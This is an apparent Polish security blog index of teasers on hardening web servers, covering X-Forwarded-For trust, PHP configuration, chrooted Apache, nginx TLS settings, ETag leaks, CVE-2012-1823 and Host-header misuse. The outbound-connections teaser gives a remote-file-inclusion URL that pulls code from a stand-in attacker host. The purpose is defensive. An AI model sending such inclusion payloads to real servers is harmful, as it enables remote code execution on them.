N

agłówek protokołu HTTP: X-Forwarded-For (XFF) pierwotnie został przedstawiony przez zespół developerów odpowiedzialnych za rozwijanie serwera Squid, jako metoda identyfikacji oryginalnego adresu IP klienta łączącego się do serwera web, poprzez inny serwer proxy lub load balancer. Bez użycia XFF lub innej, podobnej techniki, dowolne połączenie za pośrednictwem proxy, pozostawiłoby jedynie adres IP pochodzący z samego serwera proxy zamieniając go w usługę anonimizującą klientów. W ten sposób, wykrywanie i zapobieganie nieautoryzowanym dostępom, stałoby się znacznie trudniejsze niż w przypadku przekazywania informacji o adresie IP, z którego przyszło żądanie. Przydatność X-Forwarded-For zależy od serwera proxy, który zgodnie z rzeczywistością, powinien przekazać adres IP łączącego się z nim klienta. Z tego powodu, serwery będące za serwerami proxy muszą wiedzieć, które z nich są “godne zaufania”. Niestety, czasami nawet i to nie wystarczy. W najnowszym Sekurak Zine #3 (mirror) postaram się przedstawić, dlaczego nie powinniśmy na ślepo ufać wartościom pochodzącym z tego nagłówka.

D

la każdego początkującego administratora / developera / devops’a przychodzi moment, gdy następuje faza skonfigurowania PHP po stronie serwera. W procesie tym zazwyczaj ustawiane są podstawowe opcje, które mają na celu jak najszybsze doprowadzenie do stanu: działa. Nie zawsze idzie to w parze: działa bezpiecznie. W tym celu powstało narzędzie iniscan mające na uwadze wprowadzenie najlepszych praktyk konfiguracji PHP, aby zminimalizować ryzyko przedostania się do serwera WWW szkodliwego kodu lub nawet uzyskania do niego pełnego dostępu.
[ czytaj całość… ]

T

a krótka instrukcja poruszy temat skonfigurowania serwera httpd apache (2.4) w środowisku chroot() pod katalogiem /chroot. Na początek w systemie należy zainstalować takie pakiety jak: apache2 oraz libapache2-mod-php. Pierwszy z dwóch zapewni nam oprogramowanie httpd samo w sobie podczas, gdy libapache2-mod-php wsparcie dla interpretera PHP w wersji 7.0.8:
[ czytaj całość… ]

Z

a pomocą HTTPsrvREAPER (uruchomionego w pięciu wątkach) oraz pracującego dzień i noc Raspberry Pi udało się przeskanować przeanalizować w czasie od sierpnia 2014 r. do kwietnia 2015 r. sieci z zakresu: 1.0.0.0/8 – 5.0.0.0/8. Razem powstało 1.312.618 wpisów zawierających informacje o używanej (bądź nie – Undefined) wersji oprogramowania serwera httpd przez dany adres IP.
[ czytaj całość… ]

P

oniższa konfiguracja serwera nginx dla komunikacji po https pozwala na uzyskanie oceny A+ w teście przeprowadzanym przez firmę Qualys SSL Labs. Ponadto zaspokaja wymagania PCI Compliance oraz FIPS, a także broni przed atakami typu: BEAST, Heartbleed czy POODLE. Innymi mechanizmami, które zostały zwarte to: HSTS, OSCP oraz SPDY. Stosując poniższą konfigurację należy liczyć się, że może ona nie działać (lub niektóre jej funkcjonalności) z starszymi przeglądarkami i aplikacjami typu: IE6, czy Java 6.
[ czytaj całość… ]

G

dybym miał na dzisiejszy dzień zapewnić podstawowy poziom bezpieczeństwa swojego serwera WWW – po standardowej instalacji z paczki zacząłbym od kilku rzeczy:
[ czytaj całość… ]

J

eśli używamy serwera Apache możemy wykorzystać w jego komunikacji z przeglądarką ETagi (ang. Entity Tag) dla statycznych zasobów serwowanych z dysku naszego serwera. Służą one między innymi serwerowi Apache do porównywania ich wartości z nagłówkiem If-None-Match i zwracania w zależności od wyniku kodu: 304 Not modified lub 200 OK. Niestety od wersji 1.3.22 do 2.3.14 tego serwera w konstrukcji pola ETag używany jest numer i-node pliku, do którego zostało wykonane odwołanie.
[ czytaj całość… ]

W

maju 2012 roku opublikowano lukę w PHP CVE-2012-1823. Dotyczy ona tylko serwerów, które posiadają skonfigurowaną obsługę języka PHP jako skrypty CGI. Chociaż nie jest to domyślna konfiguracja w większości systemów – w takich dystrybucjach jak Debian i Ubuntu instalując paczkę php5-cgi i zostawiając domyślne ustawienia serwera Apache – pozwalające na dostępność binarnych plików w ścieżce http://serwer/cgi-bin/php5 wystawiamy nasz serwer na eksplorację luki. O zasadzie luki możemy przeczytać tutaj.
[ czytaj całość… ]

S

erwer WWW głównie akceptuje połączenia przychodzące od użytkowników, a sam niekiedy potrzebuje nawiązać nowe połączenia z zewnętrznymi zasobami np. bazą danych. Dlatego dobrze znając architekturę aplikacji – warto ograniczyć jej połączenia wychodzące tylko do tych, które są jej rzeczywiście niezbędne. To sprawia, że tak wyprofilowana sieciowo aplikacja staje się trudniejsza do zdobycia na przykład przez atakującego, który chce wykorzystać atak z wykorzystaniem zewnętrznych zasobów:

/podatny_kod.php?bug=http://evilhacker.net/exploit?

[ czytaj całość… ]

P

owszechną praktyką wśród programistów piszących własne webaplikacje oraz webowych frameworków odkrywających koło od nowa jest poleganie na wartościach zwracanych w nagłówku HTTP Host. Jest to bardzo wygodny sposób na gwarancję, że ta sama aplikacja zostanie uruchomiona na localhoście, serwerach środowiska: developerskiego, testowego, produkcyjnego, innych domenach i subdomenach itd., bez wprowadzania modyfikacji w kod aplikacji. Prosty przykład w PHP:
[ czytaj całość… ]